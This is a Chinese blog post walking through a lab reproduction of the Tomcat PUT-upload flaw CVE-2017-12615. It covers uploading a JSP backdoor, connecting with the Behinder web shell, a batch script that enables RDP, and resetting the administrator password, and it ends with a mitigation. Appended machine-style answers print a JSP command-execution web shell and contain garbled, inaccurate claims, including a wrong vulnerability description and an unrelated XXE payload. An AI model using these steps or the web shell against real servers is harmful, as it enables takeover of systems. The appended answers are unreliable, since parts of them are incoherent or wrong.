Tomcat代码执行漏洞(CVE-2017-12615)

漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

影响版本

Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

环境搭建

操作系统:Windows10
操作环境: apache-tomcat-7.0.79、jdk-8u301-windows-x64
漏洞版本: 7.0.79
搭建过程:
(1)安装JDK
1)双击jdk-8u301-windows-x64进行JDK安装
在这里插入图片描述
2)默认下一步
在这里插入图片描述
3)默认下一步
在这里插入图片描述
4)安装完成
在这里插入图片描述
5)右击“此电脑”选择“属性”
在这里插入图片描述
6)选择“高级系统设置”
在这里插入图片描述
7)选择“环境变量”
在这里插入图片描述
8)设置jdk环境变量,新建系统变量,取名为“JAVA_HOME”,变量值为JDK安装路径,这里是“C:\Program Files\Java\jdk1.8.0_301”,点击“确定”
在这里插入图片描述
9)选择“PATH”,添加“%JAVA_HOME%\bin”,点击“确定”,至此JDK安装完成
在这里插入图片描述
(2)下载apache-tomcat-7.0.79(http://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/bin/apache-tomcat-7.0.79-windows-x64.zip),解压放在任意目录下,这里是放在E盘中
在这里插入图片描述
(3)打开Tomcat安装目录下的conf文件夹,编辑并保存web.xml文件。配置文件中添加readonly设置为false时,目的是启用PUT和DETELE方法
在这里插入图片描述
(4)打开Tomcat安装目录下的bin文件夹,双击“startup.bat”,开启服务
在这里插入图片描述
(5)访问环境:http://192.168.17.140:8080,若出现下图界面,则说明环境搭建成功
在这里插入图片描述

漏洞复现

(1)访问http://192.168.17.140:8080/,使用burpsuit工具进行抓包,并将请求包发送至Repeater
在这里插入图片描述
(2)将请求包GET方式改为PUT方式,上传ceshi.jsp,内容为“Hello Word”,点击发送,发现服务器返回“201”
在这里插入图片描述
(3)访问刚上传的ceshi.jsp文件,发现可访问,从而确定存在CVE-2017-12615漏洞
在这里插入图片描述
(4)接下来上传木马backdoor.jsp,如图所示上传成功
在这里插入图片描述
(5)使用冰蝎连接shell,密码为“rebeyond”
在这里插入图片描述
(6)成功连接shell,并在文件管理中发现刚才上传的两个文件
在这里插入图片描述
(7)在冰蝎-命令执行模块中,执行“whoami”,发现得到的是管理员administrator用户
在这里插入图片描述
(8)在文件管理模块上传“1.bat”(目的开启3389),在命令执行模块执行该文件

1.bat内容:

echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

在这里插入图片描述
在这里插入图片描述
(9)通过执行“netstat -ano”发现3389端口已开启
在这里插入图片描述
(10)通过“net user administrator hacker”命令,修改管理员密码
在这里插入图片描述
(11)在攻击者环境中开启远程桌面连接192.168.17.140,最终攻击攻击成功
在这里插入图片描述
在这里插入图片描述

修复建议

临时修复建议:

用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>

确保readonly参数为true(默认值),即不允许DELETE和PUT操作。

  • 7
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
### 回答1: cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。 要复现该漏洞,需要满足以下条件: 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序,其中包含一个可上传文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置,允许攻击者上传包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞: PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中,test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。 如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。 ### 回答2: CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞的复现步骤: 1.安装Tomcat服务器 2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。 3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上传到目标服务器。 4.在表单中输入如下内容: PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。 6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3: CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。 为了演示该漏洞的复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令: sudo apt-get update sudo apt-get install tomcat7 安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装: http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面,则说明安装成功。 复现漏洞 接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下: 1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码: <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件: jar -cvf test.war test.jsp 3. 接下来,我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着,将上传的 test.war 文件复制到该目录下: sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框: http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令,即可执行该命令并返回结果: cmd=ls 我们可以看到,这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值